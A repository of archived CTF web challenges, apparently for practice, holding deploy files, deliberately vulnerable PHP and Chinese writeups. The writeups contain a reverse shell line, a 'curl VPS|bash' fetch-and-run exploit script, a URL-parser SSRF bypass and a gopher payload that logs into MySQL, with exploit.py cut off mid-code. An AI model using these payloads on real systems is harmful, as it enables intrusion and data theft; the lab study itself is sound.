/RCE/hitcon-2017-babyfirst-revenge/deploy/default: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | root /var/www/html; 4 | index index.php index.html index.htm; 5 | 6 | server_name localhost; 7 | location ~ \.php$ { 8 | include snippets/fastcgi-php.conf; 9 | 10 | # With php5-cgi alone: 11 | #fastcgi_pass 127.0.0.1:9000; 12 | # With php5-fpm: 13 | fastcgi_pass unix:/var/run/php/php7.0-fpm.sock; 14 | } 15 | } -------------------------------------------------------------------------------- /RCE/hitcon-2017-babyfirst-revenge/deploy/src/index.php: -------------------------------------------------------------------------------- 1 | [dir]` 命令生成 dir 名称的文件夹的方式生成分段后的命令,然后通过 `ls -t>g` 将分段的命令写入文件,`sh` 执行文件反弹 shell。 23 | 24 | 由于长度限制,需要先将 `ls -t>g` 分段,倒序生成文件夹名(-t 时间排序的需要) 25 | 26 | ```shell 27 | >-t\ 28 | >\>g 29 | >l\ 30 | >s\ \ 31 | ``` 32 | 33 | 生成对应名称文件夹后,由于 `ls` 名称列出按字母顺序的问题,需要先重定向到 c 文件,然后再 `ls` 附加的 c 文件尾部 34 | ```shell 35 | ls>c 36 | ls>>c 37 | 38 | cat a 39 | -t\ 40 | >g 41 | a # 以上无效命令 42 | l\ 43 | s \ 44 | -t\ 45 | >g 46 | a # 以下无效命令 47 | l\ 48 | s \ 49 | ``` 50 | 51 | 生成的 a 文件的功能就是执行 `ls -t>g` 52 | 53 | 有了该命令之后就只需要反弹 shell 了。 54 | 通过在自己的 `VPS/index.html` 写入 shell 55 | ```shell 56 | bash -i >& /dev/tcp/vps/port 0>&1 57 | ``` 58 | 59 | 然后利用 `ls -t` 生成 `curl VPS|bash` 命令,执行即可反弹 shell 到 VPS。 60 | 61 | 在 Orange 大大提供的 exp 上修改: 62 | 63 | ```Python 64 | import requests 65 | from time import sleep 66 | from urllib import quote 67 | 68 | payload = [ 69 | # generate `ls -t>g` file `_` 70 | '>ls\\', 71 | 'ls>_', 72 | '>\ \\', 73 | '>-t\\', 74 | '>\>g', 75 | 'ls>>_', 76 | 77 | # generate `curl VPS|bash` 78 | # * 为隐去的 VPS ip 地址十进制的某位 79 | '>sh\ ', 80 | '>ba\\', 81 | '>\|\\', 82 | '>2\\', 83 | '>1*\\', 84 | '>8*\\', 85 | '>5*\\', 86 | '>7*\\', 87 | '>\ \\', 88 | '>rl\\', 89 | '>cu\\', 90 | 91 | # exec 92 | 'sh _', 93 | 'sh g', 94 | ] 95 | 96 | r = requests.get('http://127.0.0.1:8008/?reset=1') 97 | for i in payload: 98 | assert len(i) <= 5 99 | r = requests.get('http://127.0.0.1:8008/?cmd=' + quote(i)) 100 | print(i) 101 | sleep(0.2) 102 | ``` 103 | 104 | 然后监听反弹 shell 105 | 106 | ![shell](img/shell.png) 107 | 108 | 109 | 在根目录找到 README.txt 110 | ``` 111 | Flag is in the MySQL database 112 | fl4444g / SugZXUtgeJ52_Bvr 113 | ``` 114 | 115 | 最后通过执行 SQL 找到 Flag 116 | ```SQL 117 | mysql -u fl4444g -pSugZXUtgeJ52_Bvr -e "show databases;"; 118 | mysql -u fl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb;show tables;" 119 | mysql -u fl4444g -pSugZXUtgeJ52_Bvr -e "use fl4gdb;select * from this_is_the_fl4g;"; 120 | ``` 121 | 122 | ## References 123 | [HITCON 2017 babyfirst-revenge[-v2]浅析](https://xz.aliyun.com/t/1579) 124 | -------------------------------------------------------------------------------- /RCE/hitcon-2017-babyfirst-revenge/writeup/img/shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/RCE/hitcon-2017-babyfirst-revenge/writeup/img/shell.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | **本项目不再维护和更新** 2 | 3 | 本项目只是对历届 CTF 开源的 Web 题源码进行了一个整理分类,并提供一个简单的搭建方法 4 | 5 | # 申明 6 | 由于本人并未向出题人申请重新对题目进行修改发布的权利,但对每个题均标明了出处,如涉嫌侵权,立马致歉删除。 7 | 8 | 对于部分没找到 flag 的题目,会自己随便添加 9 | 10 | 对已提供 Dockerfile 及 sql 文件的题目会做适当修改(或者重写,因为有的题目按给的文件运行不起来。。可能是我打开的方式不对),对于大部分没有的题目,会自己~~编写~~ (复制粘贴)提供相应的文件 11 | 12 | 如有 bug,还望告知 13 | 14 | # 搭建 15 | 每道题目对应的端口需要自行在 run 脚本中更改 16 | 17 | ```shell 18 | cd the_challenge 19 | chmod 777 build run 20 | ./build 21 | ./run 22 | ``` 23 | 24 | # 分类 25 | 26 | ## SQLi 27 | 28 | ## RCE 29 | 30 | [hitcon-2015-babyfirst](https://github.com/inory009/CTF-Web-Challenges/tree/master/RCE/hitcon-2015-babyfirst) 31 | 32 | [hitcon-2017-babyfirst-revenge](https://github.com/inory009/CTF-Web-Challenges/tree/master/RCE/hitcon-2017-babyfirst-revenge) 33 | 34 | [hitcon-2017-babyfirst-revenge-v2](https://github.com/inory009/CTF-Web-Challenges/tree/master/RCE/hitcon-2017-babyfirst-revenge-v2) 35 | 36 | ## XSS 37 | [34c3-2017-urlstorage](https://github.com/inory009/CTF-Web-Challenges/tree/master/XSS/34c3-2017-urlstorage) 38 | 39 | 40 | ## SSRF 41 | [n1ctf-2018-hard-php](https://github.com/inory009/CTF-Web-Challenges/tree/master/SSRF/n1ctf-2018-easy_harder_php) 42 | 43 | [34c3-2017-extract0r](https://github.com/inory009/CTF-Web-Challenges/tree/master/SSRF/34c3-2017-extract0r) 44 | 45 | 46 | ## Unseralization 47 | [hitcon-2016-babytrick](https://github.com/inory009/CTF-Web-Challenges/tree/master/Unserialization/hitcon-2016-babytrick) 48 | 49 | [hitcon-2017-baby^h-master-php](https://github.com/inory009/CTF-Web-Challenges/tree/master/Unserialization/hitcon-2017-baby%5Eh-master-php) 50 | 51 | [hitcon-2018-baby-cake](https://github.com/inory009/CTF-Web-Challenges/tree/master/Unserialization/hitcon-2018-baby-cake) 52 | 53 | [lctf-2018-babyphp's revenge](https://github.com/inory009/CTF-Web-Challenges/tree/master/Unserialization/lctf-2018-babyphp's-revenge) 54 | 55 | ## File Inclusion 56 | [XCTF-Final-2018-Bestphp](https://github.com/inory009/CTF-Web-Challenges/tree/master/File-Inclusion/XCTF-Final-2018-Bestphp) 57 | 58 | [hitcon-2018-one-line-php-challenge](https://github.com/inory009/CTF-Web-Challenges/tree/master/File-Inclusion/hitcon-2018-one-line-php-challenge) 59 | 60 | ## XXE 61 | 62 | ## SSTI 63 | -------------------------------------------------------------------------------- /SSRF/34c3-2017-extract0r/README.md: -------------------------------------------------------------------------------- 1 | # 来源 2 | [eboda/34c3ctf/tree/master/extract0r](https://github.com/eboda/34c3ctf/tree/master/extract0r) -------------------------------------------------------------------------------- /SSRF/34c3-2017-extract0r/build: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t ctf/extract0r ./deploy 3 | -------------------------------------------------------------------------------- /SSRF/34c3-2017-extract0r/deploy/000-default.conf: -------------------------------------------------------------------------------- 1 | 2 | # The ServerName directive sets the request scheme, hostname and port that 3 | # the server uses to identify itself. This is used when creating 4 | # redirection URLs. In the context of virtual hosts, the ServerName 5 | # specifies what hostname must appear in the request's Host: header to 6 | # match this virtual host. For the default virtual host (this file) this 7 | # value is not decisive as it is used as a last resort host regardless. 8 | # However, you must set it for any further virtual host explicitly. 9 | #ServerName www.example.com 10 | 11 | 12 | ServerAdmin webmaster@localhost 13 | DocumentRoot /var/www/html 14 | php_admin_flag engine off 15 | 16 | 17 | AllowOverride None 18 | Require all granted 19 | php_admin_flag engine on 20 | 21 | 22 | 23 | Options -Indexes 24 | AllowOverride None 25 | Require all granted 26 | php_admin_flag engine off 27 | 28 | 29 | 30 | Options -Indexes 31 | AllowOverride None 32 | Require all granted 33 | php_admin_flag engine off 34 | 35 | 36 | 37 | Options Indexes FollowSymLinks 38 | AllowOverride None 39 | Require all granted 40 | php_admin_flag engine off 41 | 42 | 43 | # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, 44 | # error, crit, alert, emerg. 45 | # It is also possible to configure the loglevel for particular 46 | # modules, e.g. 47 | #LogLevel info ssl:warn 48 | 49 | ErrorLog ${APACHE_LOG_DIR}/error.log 50 | CustomLog ${APACHE_LOG_DIR}/access.log combined 51 | 52 | # For most configuration files from conf-available/, which are 53 | # enabled or disabled at a global level, it is possible to 54 | # include a line for only one particular virtual host. For example the 55 | # following line enables the CGI configuration for this host only 56 | # after it has been globally disabled with "a2disconf". 57 | #Include conf-available/serve-cgi-bin.conf 58 | 59 | 60 | -------------------------------------------------------------------------------- /SSRF/34c3-2017-extract0r/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list 5 | 6 | 7 | RUN apt-get -y update && apt-get -y install curl wget zip 8 | 9 | # apache & php & stuff 10 | RUN apt-get -y install apache2 apt-transport-https php php-curl php-pclzip libapache2-mod-php p7zip-full cron 11 | 12 | ENV WEBROOT /var/www/html 13 | ENV MYSQL_USER=mysql 14 | RUN rm /var/www/html/*.html 15 | 16 | COPY db.sql /tmp/db.sql 17 | 18 | RUN apt-get install -y mysql-client \ 19 | mysql-server \ 20 | php-mysql \ 21 | && service mysql start \ 22 | && mysqladmin -uroot password FUCKmyL1f3AZiwqecq \ 23 | && mysql -e "source /tmp/db.sql;" -uroot -pFUCKmyL1f3AZiwqecq \ 24 | && rm /tmp/db.sql 25 | 26 | COPY mysqld.cnf /etc/mysql/mysql.conf.d/mysqld.cnf 27 | 28 | 29 | 30 | # challenge files and configs 31 | RUN (crontab -l ; echo "*/5 * * * * rm -r /var/www/html/files/* ; touch /var/www/html/files/index.php";\ 32 | echo "*/5 * * * * rm -r /tmp/* && touch /tmp/index.php") | crontab - 33 | COPY 000-default.conf /etc/apache2/sites-enabled/000-default.conf 34 | COPY webroot/ /var/www/html/ 35 | RUN touch /tmp/index.php 36 | RUN useradd extract0r -m 37 | COPY files/create_a_backup_of_my_supersecret_flag.sh /home/extract0r/ 38 | RUN chown -R www-data /var/www/html/files && \ 39 | chown extract0r:extract0r /home/extract0r/create_a_backup_of_my_supersecret_flag.sh 40 | 41 | COPY ./start.sh /start.sh 42 | RUN chmod 777 /start.sh 43 | 44 | 45 | 46 | CMD ["/start.sh"] -------------------------------------------------------------------------------- /SSRF/34c3-2017-extract0r/deploy/db.sql: -------------------------------------------------------------------------------- 1 | CREATE DATABASE IF NOT EXISTS `flag` /*!40100 DEFAULT CHARACTER SET utf8 */; 2 | USE `flag`; 3 | 4 | DROP TABLE IF EXISTS `flag`; 5 | CREATE TABLE `flag` ( 6 | `flag` VARCHAR(100) 7 | ); 8 | 9 | 10 | CREATE USER 'm4st3r_ov3rl0rd'@'localhost'; 11 | GRANT USAGE ON *.* TO 'm4st3r_ov3rl0rd'@'localhost'; 12 | GRANT SELECT ON `flag`.* TO 'm4st3r_ov3rl0rd'@'localhost'; 13 | -------------------------------------------------------------------------------- /SSRF/34c3-2017-extract0r/deploy/files/create_a_backup_of_my_supersecret_flag.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | echo "[+] Creating flag user and flag table." 3 | mysql -h 127.0.0.1 -uroot -p <<'SQL' 4 | CREATE DATABASE IF NOT EXISTS `flag` /*!40100 DEFAULT CHARACTER SET utf8 */; 5 | USE `flag`; 6 | 7 | DROP TABLE IF EXISTS `flag`; 8 | CREATE TABLE `flag` ( 9 | `flag` VARCHAR(100) 10 | ); 11 | 12 | 13 | CREATE USER 'm4st3r_ov3rl0rd'@'localhost'; 14 | GRANT USAGE ON *.* TO 'm4st3r_ov3rl0rd'@'localhost'; 15 | GRANT SELECT ON `flag`.* TO 'm4st3r_ov3rl0rd'@'localhost'; 16 | SQL 17 | 18 | echo -n "[+] Please input the flag:" 19 | read flag 20 | 21 | mysql -h 127.0.0.1 -uroot -p < 1024*10) { 52 | return "Archive's total uncompressed size exceeds 10KB"; 53 | } 54 | 55 | if ($file_cnt === 0) { 56 | return "Archive is empty"; 57 | } 58 | 59 | if ($file_cnt > 5) { 60 | return "Archive contains more than 5 files"; 61 | } 62 | 63 | return 0; 64 | } 65 | 66 | function verify_extracted($directory) { 67 | $files = glob($directory . '/*'); 68 | $cntr = 0; 69 | foreach($files as $file) { 70 | if (!is_file($file)) { 71 | $cntr++; 72 | unlink($file); 73 | @rmdir($file); 74 | } 75 | } 76 | return $cntr; 77 | } 78 | 79 | function decompress($s) { 80 | $directory = get_directory(true); 81 | $archive = tempnam("/tmp", "archive_"); 82 | 83 | file_put_contents($archive, $s); 84 | $error = verify_archive($archive); 85 | if ($error) { 86 | unlink($archive); 87 | error($error); 88 | } 89 | 90 | shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y"); 91 | unlink($archive); 92 | 93 | return verify_extracted($directory); 94 | } 95 | 96 | function error($s) { 97 | clear_directory(); 98 | die("

ERROR

" . htmlspecialchars($s)); 99 | } 100 | 101 | $msg = ""; 102 | if (isset($_GET["url"])) { 103 | $page = get_contents($_GET["url"]); 104 | 105 | if (strlen($page) === 0) { 106 | error("0 bytes fetched. Looks like your file is empty."); 107 | } else { 108 | $deleted_dirs = decompress($page); 109 | $msg = "

Done!

Your files were extracted if you provided a valid archive."; 110 | 111 | if ($deleted_dirs > 0) { 112 | $msg .= "

WARNING:

we have deleted some folders from your archive for security reasons with our cyber-enabled filtering system!"; 113 | } 114 | } 115 | } 116 | ?> 117 | 118 | 119 | extract0r! 120 | 121 |
122 |

extract0r - secure file extraction service

123 |

Your Archive:

124 |

125 |

126 |
127 | 128 |

Your extracted files will appear here.

129 |

" . $msg . "

"; ?> 130 | 131 | 132 | -------------------------------------------------------------------------------- /SSRF/34c3-2017-extract0r/deploy/webroot/url.php: -------------------------------------------------------------------------------- 1 | > (32-$mask)) << (32-$mask)); 6 | } 7 | 8 | function get_port($url_parts) { 9 | if (array_key_exists("port", $url_parts)) { 10 | return $url_parts["port"]; 11 | } else if (array_key_exists("scheme", $url_parts)) { 12 | return $url_parts["scheme"] === "https" ? 443 : 80; 13 | } else { 14 | return 80; 15 | } 16 | } 17 | 18 | function clean_parts($parts) { 19 | // oranges are not welcome here 20 | $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/"; 21 | 22 | if (array_key_exists("scheme", $parts)) { 23 | $parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]); 24 | } 25 | 26 | if (array_key_exists("user", $parts)) { 27 | $parts["user"] = preg_replace($blacklisted, "", $parts["user"]); 28 | } 29 | 30 | if (array_key_exists("pass", $parts)) { 31 | $parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]); 32 | } 33 | 34 | if (array_key_exists("host", $parts)) { 35 | $parts["host"] = preg_replace($blacklisted, "", $parts["host"]); 36 | } 37 | 38 | return $parts; 39 | } 40 | 41 | function rebuild_url($parts) { 42 | $url = ""; 43 | $url .= $parts["scheme"] . "://"; 44 | $url .= !empty($parts["user"]) ? $parts["user"] : ""; 45 | $url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : ""; 46 | $url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : ""; 47 | $url .= $parts["host"]; 48 | $url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : ""; 49 | $url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : ""; 50 | $url .= !empty($parts["query"]) ? "?" . $parts["query"] : ""; 51 | $url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : ""; 52 | 53 | return $url; 54 | } 55 | 56 | function get_contents($url) { 57 | $disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8", 58 | "10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8", 59 | "172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24", 60 | "255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24", 61 | "198.51.100.0/24", "198.18.0.0/15", "192.0.2.0/24", "100.64.0.0/10" ]; 62 | 63 | for ($i = 0; $i < 5; $i++) { 64 | $url_parts = clean_parts(parse_url($url)); 65 | 66 | if (!$url_parts) { 67 | error("Couldn't parse your url!"); 68 | } 69 | 70 | if (!array_key_exists("scheme", $url_parts)) { 71 | error("There was no scheme in your url!"); 72 | } 73 | 74 | if (!array_key_exists("host", $url_parts)) { 75 | error("There was no host in your url!"); 76 | } 77 | 78 | $port = get_port($url_parts); 79 | $host = $url_parts["host"]; 80 | 81 | $ip = gethostbynamel($host)[0]; 82 | if (!filter_var($ip, FILTER_VALIDATE_IP, 83 | FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) { 84 | error("Couldn't resolve your host '{$host}' or 85 | the resolved ip '{$ip}' is blacklisted!"); 86 | } 87 | 88 | foreach ($disallowed_cidrs as $cidr) { 89 | if (in_cidr($cidr, $ip)) { 90 | error("That IP is in a blacklisted range ({$cidr})!"); 91 | } 92 | } 93 | 94 | // all good, rebuild url now 95 | $url = rebuild_url($url_parts); 96 | 97 | 98 | $curl = curl_init(); 99 | curl_setopt($curl, CURLOPT_URL, $url); 100 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 101 | curl_setopt($curl, CURLOPT_MAXREDIRS, 0); 102 | curl_setopt($curl, CURLOPT_TIMEOUT, 3); 103 | curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3); 104 | curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip)); 105 | curl_setopt($curl, CURLOPT_PORT, $port); 106 | 107 | $data = curl_exec($curl); 108 | 109 | if (curl_error($curl)) { 110 | error(curl_error($curl)); 111 | } 112 | 113 | $status = curl_getinfo($curl, CURLINFO_HTTP_CODE); 114 | if ($status >= 301 and $status <= 308) { 115 | $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL); 116 | } else { 117 | return $data; 118 | } 119 | 120 | } 121 | 122 | error("More than 5 redirects!"); 123 | } 124 | -------------------------------------------------------------------------------- /SSRF/34c3-2017-extract0r/run: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | docker run -d -p 8013:80 -it ctf/extract0r 3 | -------------------------------------------------------------------------------- /SSRF/34c3-2017-extract0r/writeup/README.md: -------------------------------------------------------------------------------- 1 | # 34c3-2017-extract0r 2 | 3 | ## 解压 4 | 首先题目会对我们提供的 URL 进行一些校验然后访问,并进行解压。因此可以借助压缩文件可以包含链接文件的特性来进行列目录或读取文件的操作。 5 | 6 | 尝试列目录,在 VPS 上生成 payload,另外需要注意我们提供的 URL 必须是域名,题目会过滤掉 URL 中的数字,意味着不能通过 IP 访问 7 | 8 | ```shell 9 | ln -s / root 10 | zip -y 1.zip root 11 | ``` 12 | 13 | 提交请求后,页面返回了 ` we have deleted some folders from your archive for security reasons with our cyber-enabled filtering system!` 14 | 15 | 点击 cyber-enabled filtering system 给出如下代码: 16 | ```php 17 | function verify($directory) { 18 | $files = glob($directory . '/*'); 19 | foreach($files as $file) { 20 | if (!is_file($file)) { 21 | unlink($file); 22 | @rmdir($file); 23 | } 24 | } 25 | } 26 | ``` 27 | 28 | 题目会移除所有不是文件的的东西,比如目录。因此可通过 `ln -s /var/www/html/index.php` 之类读文件,但无法列目录。 29 | 30 | 但在 http://php.net/manual/en/function.glob.php 中可以看到: 31 | 32 | ![glob](img/glob.png) 33 | 34 | glob 函数不会列出隐藏文件,借此特性便能绕过 filter 列目录,简单的将 root 重命名为 .root 即可 35 | 36 | ```shell 37 | ln -s / .root 38 | zip -y 1.zip .root 39 | ``` 40 | 41 | 成功列目录 42 | 43 | ![dir](img/dir.png) 44 | 45 | 然后在 `/home/extract0r` 可以找到 `create_a_backup_of_my_supersecret_flag.sh`,其中发现 flag 在数据库中,且创建了一个空密码的用户 46 | 47 | ## SSRF bpass 48 | 知道 flag 在数据库,又存在能向提供的 URL 发出请求的功能,明显存在 SSRF 49 | 50 | 在 url.php 中可以看到发出请求的函数 51 | 52 | ```php 53 | 54 | function clean_parts($parts) { 55 | // oranges are not welcome here 56 | $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/"; 57 | 58 | if (array_key_exists("scheme", $parts)) { 59 | $parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]); 60 | } 61 | 62 | if (array_key_exists("user", $parts)) { 63 | $parts["user"] = preg_replace($blacklisted, "", $parts["user"]); 64 | } 65 | 66 | if (array_key_exists("pass", $parts)) { 67 | $parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]); 68 | } 69 | 70 | if (array_key_exists("host", $parts)) { 71 | $parts["host"] = preg_replace($blacklisted, "", $parts["host"]); 72 | } 73 | 74 | return $parts; 75 | } 76 | 77 | function get_contents($url) { 78 | $disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8", 79 | "10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8", 80 | "172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24", 81 | "255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24", 82 | "198.51.100.0/24", "198.18.0.0/15", "192.0.2.0/24", "100.64.0.0/10" ]; 83 | 84 | for ($i = 0; $i < 5; $i++) { 85 | $url_parts = clean_parts(parse_url($url)); 86 | 87 | if (!$url_parts) { 88 | error("Couldn't parse your url!"); 89 | } 90 | 91 | if (!array_key_exists("scheme", $url_parts)) { 92 | error("There was no scheme in your url!"); 93 | } 94 | 95 | if (!array_key_exists("host", $url_parts)) { 96 | error("There was no host in your url!"); 97 | } 98 | 99 | $port = get_port($url_parts); 100 | $host = $url_parts["host"]; 101 | 102 | $ip = gethostbynamel($host)[0]; 103 | if (!filter_var($ip, FILTER_VALIDATE_IP, 104 | FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) { 105 | error("Couldn't resolve your host '{$host}' or 106 | the resolved ip '{$ip}' is blacklisted!"); 107 | } 108 | 109 | foreach ($disallowed_cidrs as $cidr) { 110 | if (in_cidr($cidr, $ip)) { 111 | error("That IP is in a blacklisted range ({$cidr})!"); 112 | } 113 | } 114 | 115 | // all good, rebuild url now 116 | $url = rebuild_url($url_parts); 117 | 118 | 119 | $curl = curl_init(); 120 | curl_setopt($curl, CURLOPT_URL, $url); 121 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 122 | curl_setopt($curl, CURLOPT_MAXREDIRS, 0); 123 | curl_setopt($curl, CURLOPT_TIMEOUT, 3); 124 | curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3); 125 | curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip)); //加一条缓存,防止dns rebinding 126 | curl_setopt($curl, CURLOPT_PORT, $port); 127 | 128 | ... 129 | } 130 | } 131 | ``` 132 | 133 | 代码逻辑: 134 | 1. 使用 `parse_url` 来解析提供的 URL 为 host, scheme, port, path 等部分 135 | 2. 对每一部分进行过滤 136 | 3. 解析 host 并检查是否在黑名单内 137 | 4. 重新构建 URL 138 | 5. 使用 `libcurl` 发送请求 139 | 140 | 141 | 这里的官方标准解法是使用 ipv6 表示法来表示域名,核心是**利用 `parse_url` 和 `libcurl` 发包针对 host 解析时的差异**。 142 | 143 | ``` 144 | http://foo@[abcbcb.cf]@google.com:3306/ 145 | ``` 146 | 147 | `parse_url` 解析 host 为 google.com 148 | `libcurl` 解析为 [abcbcb.cf] 149 | 150 | 在 rfc3986 中对 host 的定义为 151 | 152 | > host = IP-literal / IPv4address / reg-name 153 | ... 154 | A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets ("[" and "]"). This is the only place where square bracket characters are allowed in the URI syntax. 155 | IP-literal = "[" ( IPv6address / IPvFuture ) "]" 156 | 157 | 即 [ip] 是一种 host 的形式,libcurl 在解析时候认为 [] 包裹的是 host。 158 | 159 | 由于 host 会过滤数字,因此提交的 url 只能包含十六进制中剩下的 a-f。 而 .cf 域名是免费的,因此可以注册一个 abcbcb.cf 解析为 127.0.0.1 160 | 161 | 然而此处还存在一个预期外的解 162 | 163 | ``` 164 | http://foo@localhost:foo@google.com:3306/ 165 | ``` 166 | 167 | `parse_url` 匹配最后一个 @ 后面符合格式的 host,因此将 google.com 解析为 host;而 `libcurl` 匹配第一个 @ 后面符合格式的 host,因而将 localhost 解析为 host 168 | 169 | > 注:本环境 curl 版本为 7.47,无法成功利用,需要更高的版本才能利用该方法 170 | 171 | ## SSRF 攻击 MySQL 172 | 绕过了 SSRF 对 localhost 的限制,即可直接攻击 MySQL,但由于 curl 返回的数据需要能被解压,因此需要把查出来的数据构造为压缩格式。 173 | 174 | 使用 `m4st3r_ov3rl0rd` 登录,然后执行 `use flag;select flag from flag;` 获得 flag 175 | 176 | 有了 flag 接下来需要将其变为压缩格式 177 | 178 | ```python 179 | flag_dummy = b"B"*100 180 | 181 | payload = zip_tools.create_zip(b"gimme_flag", flag_dummy) 182 | 183 | prefix = bytes(payload.split(flag_dummy)[0]) 184 | suffix = bytes(payload.split(flag_dummy)[1]) 185 | 186 | 187 | sql_cmd = b"select concat(cast(0x" + hexlify(prefix) + b" as binary), rpad(flag, 100, 'A'), cast(0x" + hexlify(suffix) + b" as binary)) from flag.flag-- -" 188 | ``` 189 | 190 | 上面的 PoC 先创建一个 zip 文件,并填充有字符串 100*"B"。在这个基础上,利用我们的 SQL 查询出来的 flag 替换掉这个字符串。最终 select 出来即为 zip 文件。(7z 即使文件 CRC 校验错误,部分字段异常,也能成功解压) 191 | 192 | 193 | 使用 [exp](exploit.py) 生成最终 payload: 194 | 195 | ``` 196 | gopher://foo@[abcbcb.cf]@yolo.com:3306/A%48%00%00%01%85%a6%3f%20%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6d%34%73%74%33%72%5f%6f%76%33%72%6c%30%72%64%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%00%4c%01%00%00%03%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%63%61%73%74%28%30%78%35%30%34%62%30%33%30%34%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%61%30%30%30%30%30%30%36%37%36%39%36%64%36%64%36%35%35%66%36%36%36%63%36%31%36%37%20%61%73%20%62%69%6e%61%72%79%29%2c%20%72%70%61%64%28%66%6c%61%67%2c%20%31%30%30%2c%20%27%41%27%29%2c%20%63%61%73%74%28%30%78%35%30%34%62%30%31%30%32%31%65%30%33%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%37%36%39%36%64%36%64%36%35%35%66%36%36%36%63%36%31%36%37%35%30%34%62%30%35%30%36%30%30%30%30%30%30%30%30%30%31%30%30%30%31%30%30%33%38%30%30%30%30%30%30%38%63%30%30%30%30%30%30%30%30%30%30%20%61%73%20%62%69%6e%61%72%79%29%29%20%66%72%6f%6d%20%66%6c%61%67%2e%66%6c%61%67%2d%2d%20%2d%46%4f%4f%4f%4f%4f%4f%4f%4f%4f%4f%4f%4f%42%41%52 197 | ``` 198 | 199 | ## References 200 | [extract0r - web - medium](https://github.com/eboda/34c3ctf/tree/master/extract0r) 201 | 202 | [从一道CTF题目看Gopher攻击MySql](https://www.freebuf.com/articles/web/159342.html) 203 | 204 | [34c3 web extract0r!](https://www.jianshu.com/p/ef6cf8665a64) 205 | -------------------------------------------------------------------------------- /SSRF/34c3-2017-extract0r/writeup/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/SSRF/34c3-2017-extract0r/writeup/__init__.py -------------------------------------------------------------------------------- /SSRF/34c3-2017-extract0r/writeup/exploit.py: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | import struct 4 | import zip_tools 5 | from binascii import hexlify 6 | 7 | 8 | # make a 100 dummy character string 9 | # we will rpad flag to 100 characters (this is needed since actual flag length is unknown, you 10 | # could just bruteforce it tohugh i guess...) 11 | flag_dummy = b"B"*100 12 | 13 | payload = zip_tools.create_zip(b"gimme_flag", flag_dummy) 14 | # print(''.join(map(chr,payload))) 15 | # exit() 16 | 17 | prefix = bytes(payload.split(flag_dummy)[0]) 18 | suffix = bytes(payload.split(flag_dummy)[1]) 19 | 20 | 21 | sql_cmd = b"select concat(cast(0x" + hexlify(prefix) + b" as binary), rpad(flag, 100, 'A'), cast(0x" + hexlify(suffix) + b" as binary)) from flag.flag-- -" 22 | 23 | auth = bytearray([ 24 | 0x48, 0x0, 0x0, # length 25 | 0x1, # seqid 26 | 0x85, 0xa6, 0x3f, 0x20, 0, 0, 0, 0x1, 0x21, 0, 0, 27 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 28 | 0, 0, 0, 0, 0 29 | ] + list(b'm4st3r_ov3rl0rd') + [ # mysql user 30 | 0, 0, # pass length & pass 31 | ] + 